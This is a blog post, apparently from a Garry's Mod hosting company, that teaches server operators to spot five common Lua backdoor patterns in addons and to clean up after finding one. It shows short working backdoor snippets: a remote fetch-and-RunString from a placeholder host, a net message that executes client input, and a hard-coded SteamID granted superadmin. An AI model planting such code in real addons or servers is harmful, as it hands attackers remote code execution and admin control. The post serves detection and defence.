What a Garry's Mod Backdoor Actually Looks Like (and How to Spot One)
The five Lua patterns that show up in Garry's Mod backdoors again and again, with code examples, and what to do if you find one on your server.
If you run a Garry's Mod server, sooner or later you will install an addon that does something it should not. Leaked "premium" scripts and random Workshop uploads are the usual way in. A backdoor in GMod is rarely clever. It is usually a few lines of Lua hidden in a big file, waiting for a signal.
Here are the patterns that show up again and again, and what to do when you find one.
1. Fetch code from the internet, then run it
The classic. The addon downloads a string from a remote server and executes it as Lua:
http.Fetch("https://example.invalid/payload", function(body)
RunString(body)
end)
Whoever controls that URL can now run any server-side code they like, whenever they like. Look for http.Fetch or http.Post anywhere near RunString, RunStringEx or CompileString.
There is almost never a legitimate reason for an addon to download Lua and run it.
2. Run whatever the client sends
A network message that executes its contents on the server:
net.Receive("some_innocent_name", function(len, ply)
RunString(net.ReadString())
end)
Any player who knows the message name can run code on your server. The message name is often made to look boring, like a stats or config message.
3. Hidden strings
Backdoors try not to look like backdoors. Watch for code that builds strings you cannot read:
string.char(...)with a long list of numbersutil.Base64Decode(...)feeding intoRunStringorCompileString- long hex or escaped strings like
"\x68\x74\x74\x70"
Decoding text for a UI is fine. Decoding text and then executing it is a red flag.
4. Special treatment for one SteamID
Code that checks for a specific player and quietly hands them power:
if ply:SteamID() == "STEAM_0:1:12345" then
ply:SetUserGroup("superadmin")
end
If an addon you downloaded has a hard-coded SteamID that is not yours, ask why.
5. Console commands from nowhere
game.ConsoleCommand or RunConsoleCommand calls that fire on a timer or on player join, especially ones that change rcon_password, sv_password or admin groups.
What to do if you find one
- Stop the server and remove the addon entirely. Do not just comment out the line, because there may be more than one.
- Change your RCON password and any database passwords the server can read.
- Check your admin list for users you did not add.
- Restore from a backup taken before the addon went in, if anything looks touched.
- Only reinstall addons from sources you trust, and scan them first.
Scanning instead of reading every file
Reading every Lua file by hand gets old fast once you have a few hundred addons. On our hosting panel at Zeros Host we added a Backdoor Scanner for Garry's Mod servers: it checks addons for patterns like the ones above and shows you the file, the line number, the code itself and a plain-English reason it was flagged, so you can decide quickly whether it is a real problem.
Whether you use a tool or not, the five patterns above will catch most of what is out there. If you run a GMod server, it is worth a search through your addons folder today.
See our Garry's Mod hosting, including DarkRP, with a 48-hour free trial.
Want to try this on a real server?
Everything in this post works the same on ours, with the panel, off-site backups and full file access included on every plan. Try it free for 48 hours, no credit card required.
Still stuck after reading this?
Ask in our Discord - we help with hosting questions whether or not you host with us.